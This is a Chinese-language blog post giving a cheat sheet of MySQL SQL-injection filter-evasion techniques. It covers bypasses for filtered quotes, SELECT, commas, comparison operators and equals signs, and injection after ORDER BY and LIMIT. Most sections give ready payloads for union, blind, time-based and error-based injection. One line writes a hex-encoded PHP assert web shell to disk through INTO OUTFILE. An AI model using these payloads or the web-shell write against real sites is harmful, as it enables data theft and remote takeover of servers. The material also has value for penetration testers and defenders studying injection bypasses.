过滤单引号
过滤了单引号可以利用以下几种方法绕过。
1. 整数型注入
整数型注入就不用多废话了,只有在判断表名和列名的时候需要用到单引号,但是可以利用char函数和16进制绕过。利用sql语句写入文件的时候也可以利用16进制,因为mysql会将16进制解析。
2. 字符型注入
gbk编码,另外可以根据具体的waf/ips规则进行bypass,比如dedecms中的全局过滤ips绕过方式。
过滤select
其实过滤了select基本无解,起码在我这个菜逼眼里是这样的,但是也要考虑特殊情况。比如今年的强网杯的一道题目,虽然过滤了select但是可以堆叠查询,因此有了绕过的方法。
//用到的语句
set语句可用于向系统变量或用户变量赋值。 eg: SET @s1ye=test;
PREPARE stmt_name FROM preparable_stmt 定义预处理语句,它将包含占位符(?)的查询传递给MySQL服务器。
EXECUTE stmt_name 执行预处理语句
过滤逗号
- 盲注:
利用from 1 for 1
可回显注入:
利用 A join B
使用like:
select user() like ‘r%’;
limit时的利用方法在下面limit部分。
A join B:
INNER JOIN(内连接,或等值连接):获取两个表中字段匹配关系的记录。
LEFT JOIN(左连接):获取左表所有记录,即使右表没有对应匹配的记录。
RIGHT JOIN(右连接): 与 LEFT JOIN 相反,用于获取右表所有记录,即使左表没有对应匹配的记录。
用法就很简单了,我们用的到第一种方法,INNER可以省略,效果一样。
eg: select a.name,b.password from users a join passwd n;
在回显注入下使用:
?id=-1 union select * from ((select 1)a join (select 2)b join (select 3)c join (select 4)d)

from 1 for 1:
没啥好说的直接看例子,eg
?id=-1 union select 1,2,ascii(substr((database()) from 1 for 1))='r'--+

"like" eg:(tablename=name)
select * from name where id =1 and (select group_concat(table_name) from information_schema.tables where table_schema=database()) like 'n%';

比较符号绕过
- between a and b:返回a,b之间的数据,不包含b。
- greatest()、least():(前者返回最大值、后者返回最小值)
eg: select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
所以上述语句就是与64比较,当页面正常返回时说明真实的ascii码小于或等于64,继续fuzz即可。
等号绕过
可以使用like、rlike、regexp 或者<>。盲注时也可以利用运算符,^、+、-等,观察返回结果与页面变化即可,举一反三灵活运用。
order by 注入
利用oder by盲注的话看文章:
注入点在order by 后的盲注
1. if(条件语句)
?order=if((1=1),sleep(3),1)
2. 直接and if
看图
3. rand()盲注:
order by rand(true); order by rand(false);

注入点在order by 后的报错注入:
1. 利用procedure存储过程
2. XPATH
select * from name order by extractvalue(1,concat('~',database(),'~'));


#利用LINES TERMINATED BY方式getshell
?order=1 limit 0,1 into outfile '/tmp/2.php' LINES TERMINATED BY 0x3C3F7068702061737365727428245F504F53545B70765D293B3F3E
limit注入
注入点在limit后的注入:
同样的利用procedure存储过程 (https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html)
看文章就可以了
如果注入中需要用到limit但是又过滤了逗号,可以利用以下方法。
select * from users limit 0,1;
# 等价于↓
select * from users limit 1 offset 0;
盲注带外
直接看文章,利用dnslog带外的话需要一些权限,比如必须有FILE权限、secure_file_priv为空而不是NULL(不为空就只能读限定目录的文件)
substr替换
mid,left,right,substring,lpad,rpad等
原创文章,作者:s1ye,未经授权禁止转载!如若转载,请联系作者:s1ye